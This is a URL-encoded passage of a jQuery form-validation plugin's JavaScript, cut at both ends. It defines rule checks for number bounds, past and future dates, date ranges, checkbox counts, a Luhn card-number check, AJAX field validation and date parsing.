parseFloat%28field.val%28%29%29%3B%0A%0A%09%09%09if%20%28len%20%3C%20min%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.min%3B%0A%09%09%09%09if%20%28rule.alertText2%29%20return%20rule.alertText%20+%20min%20+%20rule.alertText2%3B%0A%09%09%09%09return%20rule.alertText%20+%20min%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Check%20number%20maximum%20value%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_max%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09var%20max%20%3D%20parseFloat%28rules%5Bi%20+%201%5D%29%3B%0A%09%09%09var%20len%20%3D%20parseFloat%28field.val%28%29%29%3B%0A%0A%09%09%09if%20%28len%20%3Emax%20%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.max%3B%0A%09%09%09%09if%20%28rule.alertText2%29%20return%20rule.alertText%20+%20max%20+%20rule.alertText2%3B%0A%09%09%09%09//orefalo%3A%20to%20review%2C%20also%20do%20the%20translations%0A%09%09%09%09return%20rule.alertText%20+%20max%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20date%20is%20in%20the%20past%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_past%3A%20function%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09var%20p%3Drules%5Bi%20+%201%5D%3B%0A%09%09%09var%20fieldAlt%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20p.replace%28/%5E%23+/%2C%20%27%27%29%20+%20%22%27%5D%22%29%29%3B%0A%09%09%09var%20pdate%3B%0A%0A%09%09%09if%20%28p.toLowerCase%28%29%20%3D%3D%20%22now%22%29%20%7B%0A%09%09%09%09pdate%20%3D%20new%20Date%28%29%3B%0A%09%09%09%7D%20else%20if%20%28undefined%20%21%3D%20fieldAlt.val%28%29%29%20%7B%0A%09%09%09%09if%20%28fieldAlt.is%28%22%3Adisabled%22%29%29%0A%09%09%09%09%09return%3B%0A%09%09%09%09pdate%20%3D%20methods._parseDate%28fieldAlt.val%28%29%29%3B%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09pdate%20%3D%20methods._parseDate%28p%29%3B%0A%09%09%09%7D%0A%09%09%09var%20vdate%20%3D%20methods._parseDate%28field.val%28%29%29%3B%0A%0A%09%09%09if%20%28vdate%20%3E%20pdate%20%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.past%3B%0A%09%09%09%09if%20%28rule.alertText2%29%20return%20rule.alertText%20+%20methods._dateToString%28pdate%29%20+%20rule.alertText2%3B%0A%09%09%09%09return%20rule.alertText%20+%20methods._dateToString%28pdate%29%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20date%20is%20in%20the%20future%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_future%3A%20function%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09var%20p%3Drules%5Bi%20+%201%5D%3B%0A%09%09%09var%20fieldAlt%20%3D%20%24%28form.find%28%22input%5Bname%3D%27%22%20+%20p.replace%28/%5E%23+/%2C%20%27%27%29%20+%20%22%27%5D%22%29%29%3B%0A%09%09%09var%20pdate%3B%0A%0A%09%09%09if%20%28p.toLowerCase%28%29%20%3D%3D%20%22now%22%29%20%7B%0A%09%09%09%09pdate%20%3D%20new%20Date%28%29%3B%0A%09%09%09%7D%20else%20if%20%28undefined%20%21%3D%20fieldAlt.val%28%29%29%20%7B%0A%09%09%09%09if%20%28fieldAlt.is%28%22%3Adisabled%22%29%29%0A%09%09%09%09%09return%3B%0A%09%09%09%09pdate%20%3D%20methods._parseDate%28fieldAlt.val%28%29%29%3B%0A%09%09%09%7D%20else%20%7B%0A%09%09%09%09pdate%20%3D%20methods._parseDate%28p%29%3B%0A%09%09%09%7D%0A%09%09%09var%20vdate%20%3D%20methods._parseDate%28field.val%28%29%29%3B%0A%0A%09%09%09if%20%28vdate%20%3C%20pdate%20%29%20%7B%0A%09%09%09%09var%20rule%20%3D%20options.allrules.future%3B%0A%09%09%09%09if%20%28rule.alertText2%29%0A%09%09%09%09%09return%20rule.alertText%20+%20methods._dateToString%28pdate%29%20+%20rule.alertText2%3B%0A%09%09%09%09return%20rule.alertText%20+%20methods._dateToString%28pdate%29%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20if%20valid%20date%0A%09%09*%0A%09%09*%20@param%20%7Bstring%7D%20date%20string%0A%09%09*%20@return%20a%20bool%20based%20on%20determination%20of%20valid%20date%0A%09%09*/%0A%09%09_isDate%3A%20function%20%28value%29%20%7B%0A%09%09%09var%20dateRegEx%20%3D%20new%20RegExp%28/%5E%5Cd%7B4%7D%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C1%5B012%5D%29%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C%5B12%5D%5B0-9%5D%7C3%5B01%5D%29%24%7C%5E%28%3F%3A%28%3F%3A%28%3F%3A0%3F%5B13578%5D%7C1%5B02%5D%29%28%5C/%7C-%2931%29%7C%28%3F%3A%28%3F%3A0%3F%5B1%2C3-9%5D%7C1%5B0-2%5D%29%28%5C/%7C-%29%28%3F%3A29%7C30%29%29%29%28%5C/%7C-%29%28%3F%3A%5B1-9%5D%5Cd%5Cd%5Cd%7C%5Cd%5B1-9%5D%5Cd%5Cd%7C%5Cd%5Cd%5B1-9%5D%5Cd%7C%5Cd%5Cd%5Cd%5B1-9%5D%29%24%7C%5E%28%3F%3A%28%3F%3A0%3F%5B1-9%5D%7C1%5B0-2%5D%29%28%5C/%7C-%29%28%3F%3A0%3F%5B1-9%5D%7C1%5Cd%7C2%5B0-8%5D%29%29%28%5C/%7C-%29%28%3F%3A%5B1-9%5D%5Cd%5Cd%5Cd%7C%5Cd%5B1-9%5D%5Cd%5Cd%7C%5Cd%5Cd%5B1-9%5D%5Cd%7C%5Cd%5Cd%5Cd%5B1-9%5D%29%24%7C%5E%280%3F2%28%5C/%7C-%2929%29%28%5C/%7C-%29%28%3F%3A%28%3F%3A0%5B48%5D00%7C%5B13579%5D%5B26%5D00%7C%5B2468%5D%5B048%5D00%29%7C%28%3F%3A%5Cd%5Cd%29%3F%28%3F%3A0%5B48%5D%7C%5B2468%5D%5B048%5D%7C%5B13579%5D%5B26%5D%29%29%24/%29%3B%0A%09%09%09return%20dateRegEx.test%28value%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20if%20valid%20date%20time%0A%09%09*%0A%09%09*%20@param%20%7Bstring%7D%20date%20string%0A%09%09*%20@return%20a%20bool%20based%20on%20determination%20of%20valid%20date%20time%0A%09%09*/%0A%09%09_isDateTime%3A%20function%20%28value%29%7B%0A%09%09%09var%20dateTimeRegEx%20%3D%20new%20RegExp%28/%5E%5Cd%7B4%7D%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C1%5B012%5D%29%5B%5C/%5C-%5D%280%3F%5B1-9%5D%7C%5B12%5D%5B0-9%5D%7C3%5B01%5D%29%5Cs+%281%5B012%5D%7C0%3F%5B1-9%5D%29%7B1%7D%3A%280%3F%5B1-5%5D%7C%5B0-6%5D%5B0-9%5D%29%7B1%7D%3A%280%3F%5B0-6%5D%7C%5B0-6%5D%5B0-9%5D%29%7B1%7D%5Cs+%28am%7Cpm%7CAM%7CPM%29%7B1%7D%24%7C%5E%28%3F%3A%28%3F%3A%28%3F%3A0%3F%5B13578%5D%7C1%5B02%5D%29%28%5C/%7C-%2931%29%7C%28%3F%3A%28%3F%3A0%3F%5B1%2C3-9%5D%7C1%5B0-2%5D%29%28%5C/%7C-%29%28%3F%3A29%7C30%29%29%29%28%5C/%7C-%29%28%3F%3A%5B1-9%5D%5Cd%5Cd%5Cd%7C%5Cd%5B1-9%5D%5Cd%5Cd%7C%5Cd%5Cd%5B1-9%5D%5Cd%7C%5Cd%5Cd%5Cd%5B1-9%5D%29%24%7C%5E%28%281%5B012%5D%7C0%3F%5B1-9%5D%29%7B1%7D%5C/%280%3F%5B1-9%5D%7C%5B12%5D%5B0-9%5D%7C3%5B01%5D%29%7B1%7D%5C/%5Cd%7B2%2C4%7D%5Cs+%281%5B012%5D%7C0%3F%5B1-9%5D%29%7B1%7D%3A%280%3F%5B1-5%5D%7C%5B0-6%5D%5B0-9%5D%29%7B1%7D%3A%280%3F%5B0-6%5D%7C%5B0-6%5D%5B0-9%5D%29%7B1%7D%5Cs+%28am%7Cpm%7CAM%7CPM%29%7B1%7D%29%24/%29%3B%0A%09%09%09return%20dateTimeRegEx.test%28value%29%3B%0A%09%09%7D%2C%0A%09%09//Checks%20if%20the%20start%20date%20is%20before%20the%20end%20date%0A%09%09//returns%20true%20if%20end%20is%20later%20than%20start%0A%09%09_dateCompare%3A%20function%20%28start%2C%20end%29%20%7B%0A%09%09%09return%20%28new%20Date%28start.toString%28%29%29%20%3C%20new%20Date%28end.toString%28%29%29%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20date%20range%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20first%20field%20name%0A%09%09*%20@param%20%7BjqObject%7D%20second%20field%20name%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_dateRange%3A%20function%20%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09//are%20not%20both%20populated%0A%09%09%09if%20%28%28%21options.firstOfGroup%5B0%5D.value%20%26%26%20options.secondOfGroup%5B0%5D.value%29%20%7C%7C%20%28options.firstOfGroup%5B0%5D.value%20%26%26%20%21options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%0A%09%09%09//are%20not%20both%20dates%0A%09%09%09if%20%28%21methods._isDate%28options.firstOfGroup%5B0%5D.value%29%20%7C%7C%20%21methods._isDate%28options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%0A%09%09%09//are%20both%20dates%20but%20range%20is%20off%0A%09%09%09if%20%28%21methods._dateCompare%28options.firstOfGroup%5B0%5D.value%2C%20options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20date%20time%20range%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20first%20field%20name%0A%09%09*%20@param%20%7BjqObject%7D%20second%20field%20name%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_dateTimeRange%3A%20function%20%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09//are%20not%20both%20populated%0A%09%09%09if%20%28%28%21options.firstOfGroup%5B0%5D.value%20%26%26%20options.secondOfGroup%5B0%5D.value%29%20%7C%7C%20%28options.firstOfGroup%5B0%5D.value%20%26%26%20%21options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%09%09%09//are%20not%20both%20dates%0A%09%09%09if%20%28%21methods._isDateTime%28options.firstOfGroup%5B0%5D.value%29%20%7C%7C%20%21methods._isDateTime%28options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%09%09%09//are%20both%20dates%20but%20range%20is%20off%0A%09%09%09if%20%28%21methods._dateCompare%28options.firstOfGroup%5B0%5D.value%2C%20options.secondOfGroup%5B0%5D.value%29%29%20%7B%0A%09%09%09%09return%20options.allrules%5Brules%5Bi%5D%5D.alertText%20+%20options.allrules%5Brules%5Bi%5D%5D.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Max%20number%20of%20checkbox%20selected%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_maxCheckbox%3A%20function%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09var%20nbCheck%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20groupname%20%3D%20field.attr%28%22name%22%29%3B%0A%09%09%09var%20groupSize%20%3D%20form.find%28%22input%5Bname%3D%27%22%20+%20groupname%20+%20%22%27%5D%3Achecked%22%29.size%28%29%3B%0A%09%09%09if%20%28groupSize%20%3E%20nbCheck%29%20%7B%0A%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09if%20%28options.allrules.maxCheckbox.alertText2%29%0A%09%09%09%09%09%20return%20options.allrules.maxCheckbox.alertText%20+%20%22%20%22%20+%20nbCheck%20+%20%22%20%22%20+%20options.allrules.maxCheckbox.alertText2%3B%0A%09%09%09%09return%20options.allrules.maxCheckbox.alertText%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Min%20number%20of%20checkbox%20selected%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_minCheckbox%3A%20function%28form%2C%20field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09var%20nbCheck%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09var%20groupname%20%3D%20field.attr%28%22name%22%29%3B%0A%09%09%09var%20groupSize%20%3D%20form.find%28%22input%5Bname%3D%27%22%20+%20groupname%20+%20%22%27%5D%3Achecked%22%29.size%28%29%3B%0A%09%09%09if%20%28groupSize%20%3C%20nbCheck%29%20%7B%0A%09%09%09%09options.showArrow%20%3D%20false%3B%0A%09%09%09%09return%20options.allrules.minCheckbox.alertText%20+%20%22%20%22%20+%20nbCheck%20+%20%22%20%22%20+%20options.allrules.minCheckbox.alertText2%3B%0A%09%09%09%7D%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Checks%20that%20it%20is%20a%20valid%20credit%20card%20number%20according%20to%20the%0A%09%09*%20Luhn%20checksum%20algorithm.%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20an%20error%20string%20if%20validation%20failed%0A%09%09*/%0A%09%09_nameOnId%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%09%09%09//spaces%20and%20dashes%20may%20be%20valid%20characters%2C%20but%20must%20be%20stripped%20to%20calculate%20the%20checksum.%0A%09%09%09var%20valid%20%3D%20false%2C%20cardNumber%20%3D%20field.val%28%29.replace%28/%20+/g%2C%20%27%27%29.replace%28/-+/g%2C%20%27%27%29%3B%0A%0A%09%09%09var%20numDigits%20%3D%20cardNumber.length%3B%0A%09%09%09if%20%28numDigits%20%3E%3D%2014%20%26%26%20numDigits%20%3C%3D%2016%20%26%26%20parseInt%28cardNumber%29%20%3E%200%29%20%7B%0A%0A%09%09%09%09var%20sum%20%3D%200%2C%20i%20%3D%20numDigits%20-%201%2C%20pos%20%3D%201%2C%20digit%2C%20luhn%20%3D%20new%20String%28%29%3B%0A%09%09%09%09do%20%7B%0A%09%09%09%09%09digit%20%3D%20parseInt%28cardNumber.charAt%28i%29%29%3B%0A%09%09%09%09%09luhn%20+%3D%20%28pos++%20%25%202%20%3D%3D%200%29%20%3F%20digit%20*%202%20%3A%20digit%3B%0A%09%09%09%09%7D%20while%20%28--i%20%3E%3D%200%29%0A%0A%09%09%09%09for%20%28i%20%3D%200%3B%20i%20%3C%20luhn.length%3B%20i++%29%20%7B%0A%09%09%09%09%09sum%20+%3D%20parseInt%28luhn.charAt%28i%29%29%3B%0A%09%09%09%09%7D%0A%09%09%09%09valid%20%3D%20sum%20%25%2010%20%3D%3D%200%3B%0A%09%09%09%7D%0A%09%09%09if%20%28%21valid%29%20return%20options.allrules.nameOnId.alertText%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Ajax%20field%20validation%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BArray%5BString%5D%7D%20rules%0A%09%09*%20@param%20%7Bint%7D%20i%20rules%20index%0A%09%09*%20@param%20%7BMap%7D%0A%09%09*%20%20%20%20%20%20%20%20%20%20%20%20user%20options%0A%09%09*%20@return%20nothing%21%20the%20ajax%20validator%20handles%20the%20prompts%20itself%0A%09%09*/%0A%09%09%20_ajax%3A%20function%28field%2C%20rules%2C%20i%2C%20options%29%20%7B%0A%0A%09%09%09%20var%20errorSelector%20%3D%20rules%5Bi%20+%201%5D%3B%0A%09%09%09%20var%20rule%20%3D%20options.allrules%5BerrorSelector%5D%3B%0A%09%09%09%20var%20extraData%20%3D%20rule.extraData%3B%0A%09%09%09%20var%20extraDataDynamic%20%3D%20rule.extraDataDynamic%3B%0A%09%09%09%20var%20data%20%3D%20%7B%0A%09%09%09%09%22fieldId%22%20%3A%20field.attr%28%22id%22%29%2C%0A%09%09%09%09%22fieldValue%22%20%3A%20field.val%28%29%0A%09%09%09%20%7D%3B%0A%0A%09%09%09%20if%20%28typeof%20extraData%20%3D%3D%3D%20%22object%22%29%20%7B%0A%09%09%09%09%24.extend%28data%2C%20extraData%29%3B%0A%09%09%09%20%7D%20else%20if%20%28typeof%20extraData%20%3D%3D%3D%20%22string%22%29%20%7B%0A%09%09%09%09var%20tempData%20%3D%20extraData.split%28%22%26%22%29%3B%0A%09%09%09%09for%28var%20i%20%3D%200%3B%20i%20%3C%20tempData.length%3B%20i++%29%20%7B%0A%09%09%09%09%09var%20values%20%3D%20tempData%5Bi%5D.split%28%22%3D%22%29%3B%0A%09%09%09%09%09if%20%28values%5B0%5D%20%26%26%20values%5B0%5D%29%20%7B%0A%09%09%09%09%09%09data%5Bvalues%5B0%5D%5D%20%3D%20values%5B1%5D%3B%0A%09%09%09%09%09%7D%0A%09%09%09%09%7D%0A%09%09%09%20%7D%0A%0A%09%09%09%20if%20%28extraDataDynamic%29%20%7B%0A%09%09%09%09%20var%20tmpData%20%3D%20%5B%5D%3B%0A%09%09%09%09%20var%20domIds%20%3D%20String%28extraDataDynamic%29.split%28%22%2C%22%29%3B%0A%09%09%09%09%20for%20%28var%20i%20%3D%200%3B%20i%20%3C%20domIds.length%3B%20i++%29%20%7B%0A%09%09%09%09%09%20var%20id%20%3D%20domIds%5Bi%5D%3B%0A%09%09%09%09%09%20if%20%28%24%28id%29.length%29%20%7B%0A%09%09%09%09%09%09%20var%20inputValue%20%3D%20field.closest%28%22form%2C%20.validationEngineContainer%22%29.find%28id%29.val%28%29%3B%0A%09%09%09%09%09%09%20var%20keyValue%20%3D%20id.replace%28%27%23%27%2C%20%27%27%29%20+%20%27%3D%27%20+%20escape%28inputValue%29%3B%0A%09%09%09%09%09%09%20data%5Bid.replace%28%27%23%27%2C%20%27%27%29%5D%20%3D%20inputValue%3B%0A%09%09%09%09%09%20%7D%0A%09%09%09%09%20%7D%0A%09%09%09%20%7D%0A%09%09%09%20%0A%09%09%09%20//%20If%20a%20field%20change%20event%20triggered%20this%20we%20want%20to%20clear%20the%20cache%20for%20this%20ID%0A%09%09%09%20if%20%28options.eventTrigger%20%3D%3D%20%22field%22%29%20%7B%0A%09%09%09%09delete%28options.ajaxValidCache%5Bfield.attr%28%22id%22%29%5D%29%3B%0A%09%09%09%20%7D%0A%0A%09%09%09%20//%20If%20there%20is%20an%20error%20or%20if%20the%20the%20field%20is%20already%20validated%2C%20do%20not%20re-execute%20AJAX%0A%09%09%09%20if%20%28%21options.isError%20%26%26%20%21methods._checkAjaxFieldStatus%28field.attr%28%22id%22%29%2C%20options%29%29%20%7B%0A%09%09%09%09%20%24.ajax%28%7B%0A%09%09%09%09%09%20type%3A%20options.ajaxFormValidationMethod%2C%0A%09%09%09%09%09%20url%3A%20rule.url%2C%0A%09%09%09%09%09%20cache%3A%20false%2C%0A%09%09%09%09%09%20dataType%3A%20%22json%22%2C%0A%09%09%09%09%09%20data%3A%20data%2C%0A%09%09%09%09%09%20field%3A%20field%2C%0A%09%09%09%09%09%20rule%3A%20rule%2C%0A%09%09%09%09%09%20methods%3A%20methods%2C%0A%09%09%09%09%09%20options%3A%20options%2C%0A%09%09%09%09%09%20beforeSend%3A%20function%28%29%20%7B%7D%2C%0A%09%09%09%09%09%20error%3A%20function%28data%2C%20transport%29%20%7B%0A%09%09%09%09%09%09%20methods._ajaxError%28data%2C%20transport%29%3B%0A%09%09%09%09%09%20%7D%2C%0A%09%09%09%09%09%20success%3A%20function%28json%29%20%7B%0A%0A%09%09%09%09%09%09%20//%20asynchronously%20called%20on%20success%2C%20data%20is%20the%20json%20answer%20from%20the%20server%0A%09%09%09%09%09%09%20var%20errorFieldId%20%3D%20json%5B0%5D%3B%0A%09%09%09%09%09%09%20//var%20errorField%20%3D%20%24%28%24%28%22%23%22%20+%20errorFieldId%29%5B0%5D%29%3B%0A%09%09%09%09%09%09%20var%20errorField%20%3D%20%24%28%22%23%22+%20errorFieldId%29.eq%280%29%3B%0A%0A%09%09%09%09%09%09%20//%20make%20sure%20we%20found%20the%20element%0A%09%09%09%09%09%09%20if%20%28errorField.length%20%3D%3D%201%29%20%7B%0A%09%09%09%09%09%09%09%20var%20status%20%3D%20json%5B1%5D%3B%0A%09%09%09%09%09%09%09%20//%20read%20the%20optional%20msg%20from%20the%20server%0A%09%09%09%09%09%09%09%20var%20msg%20%3D%20json%5B2%5D%3B%0A%09%09%09%09%09%09%09%20if%20%28%21status%29%20%7B%0A%09%09%09%09%09%09%09%09%20//%20Houston%20we%20got%20a%20problem%20-%20display%20an%20red%20prompt%0A%09%09%09%09%09%09%09%09%20options.ajaxValidCache%5BerrorFieldId%5D%20%3D%20false%3B%0A%09%09%09%09%09%09%09%09%20options.isError%20%3D%20true%3B%0A%0A%09%09%09%09%09%09%09%09%20//%20resolve%20the%20msg%20prompt%0A%09%09%09%09%09%09%09%09%20if%28msg%29%20%7B%0A%09%09%09%09%09%09%09%09%09%20if%20%28options.allrules%5Bmsg%5D%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%20var%20txt%20%3D%20options.allrules%5Bmsg%5D.alertText%3B%0A%09%09%09%09%09%09%09%09%09%09%20if%20%28txt%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%09msg%20%3D%20txt%3B%0A%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%09%09%20else%0A%09%09%09%09%09%09%09%09%09msg%20%3D%20rule.alertText%3B%0A%0A%09%09%09%09%09%09%09%09%20if%20%28options.showPrompts%29%20methods._showPrompt%28errorField%2C%20msg%2C%20%22%22%2C%20true%2C%20options%29%3B%0A%09%09%09%09%09%09%09%20%7D%20else%20%7B%0A%09%09%09%09%09%09%09%09%20options.ajaxValidCache%5BerrorFieldId%5D%20%3D%20true%3B%0A%0A%09%09%09%09%09%09%09%09%20//%20resolves%20the%20msg%20prompt%0A%09%09%09%09%09%09%09%09%20if%28msg%29%20%7B%0A%09%09%09%09%09%09%09%09%09%20if%20%28options.allrules%5Bmsg%5D%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%20var%20txt%20%3D%20options.allrules%5Bmsg%5D.alertTextOk%3B%0A%09%09%09%09%09%09%09%09%09%09%20if%20%28txt%29%20%7B%0A%09%09%09%09%09%09%09%09%09%09%09msg%20%3D%20txt%3B%0A%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%09%09%20else%0A%09%09%09%09%09%09%09%09%20msg%20%3D%20rule.alertTextOk%3B%0A%0A%09%09%09%09%09%09%09%09%20if%20%28options.showPrompts%29%20%7B%0A%09%09%09%09%09%09%09%09%09%20//%20see%20if%20we%20should%20display%20a%20green%20prompt%0A%09%09%09%09%09%09%09%09%09%20if%20%28msg%29%0A%09%09%09%09%09%09%09%09%09%09methods._showPrompt%28errorField%2C%20msg%2C%20%22pass%22%2C%20true%2C%20options%29%3B%0A%09%09%09%09%09%09%09%09%09%20else%0A%09%09%09%09%09%09%09%09%09%09methods._closePrompt%28errorField%29%3B%0A%09%09%09%09%09%09%09%09%7D%0A%09%09%09%09%09%09%09%09%0A%09%09%09%09%09%09%09%09%20//%20If%20a%20submit%20form%20triggered%20this%2C%20we%20want%20to%20re-submit%20the%20form%0A%09%09%09%09%09%09%09%09%20if%20%28options.eventTrigger%20%3D%3D%20%22submit%22%29%0A%09%09%09%09%09%09%09%09%09field.closest%28%22form%22%29.submit%28%29%3B%0A%09%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%20%7D%0A%09%09%09%09%09%09%20errorField.trigger%28%22jqv.field.result%22%2C%20%5BerrorField%2C%20options.isError%2C%20msg%5D%29%3B%0A%09%09%09%09%09%20%7D%0A%09%09%09%09%20%7D%29%3B%0A%09%09%09%09%20%0A%09%09%09%09%20return%20rule.alertTextLoad%3B%0A%09%09%09%20%7D%0A%09%09%20%7D%2C%0A%09%09/**%0A%09%09*%20Common%20method%20to%20handle%20ajax%20errors%0A%09%09*%0A%09%09*%20@param%20%7BObject%7D%20data%0A%09%09*%20@param%20%7BObject%7D%20transport%0A%09%09*/%0A%09%09_ajaxError%3A%20function%28data%2C%20transport%29%20%7B%0A%09%09%09if%28data.status%20%3D%3D%200%20%26%26%20transport%20%3D%3D%20null%29%0A%09%09%09%09alert%28%22The%20page%20is%20not%20served%20from%20a%20server%21%20ajax%20call%20failed%22%29%3B%0A%09%09%09else%20if%28typeof%20console%20%21%3D%20%22undefined%22%29%0A%09%09%09%09console.log%28%22Ajax%20error%3A%20%22%20+%20data.status%20+%20%22%20%22%20+%20transport%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20date%20-%3E%20string%0A%09%09*%0A%09%09*%20@param%20%7BObject%7D%20date%0A%09%09*/%0A%09%09_dateToString%3A%20function%28date%29%20%7B%0A%09%09%09return%20date.getFullYear%28%29+%22-%22+%28date.getMonth%28%29+1%29+%22-%22+date.getDate%28%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Parses%20an%20ISO%20date%0A%09%09*%20@param%20%7BString%7D%20d%0A%09%09*/%0A%09%09_parseDate%3A%20function%28d%29%20%7B%0A%0A%09%09%09var%20dateParts%20%3D%20d.split%28%22-%22%29%3B%0A%09%09%09if%28dateParts%3D%3Dd%29%0A%09%09%09%09dateParts%20%3D%20d.split%28%22/%22%29%3B%0A%09%09%09if%28dateParts%3D%3Dd%29%20%7B%0A%09%09%09%09dateParts%20%3D%20d.split%28%22.%22%29%3B%0A%09%09%09%09return%20new%20Date%28dateParts%5B2%5D%2C%20%28dateParts%5B1%5D%20-%201%29%2C%20dateParts%5B0%5D%29%3B%0A%09%09%09%7D%0A%09%09%09return%20new%20Date%28dateParts%5B0%5D%2C%20%28dateParts%5B1%5D%20-%201%29%20%2CdateParts%5B2%5D%29%3B%0A%09%09%7D%2C%0A%09%09/**%0A%09%09*%20Builds%20or%20updates%20a%20prompt%20with%20the%20given%20information%0A%09%09*%0A%09%09*%20@param%20%7BjqObject%7D%20field%0A%09%09*%20@param%20%7BString%7D%20promptText%20html%20text%20to%20display%20type%0A%09%09*%20@param%20%7BSt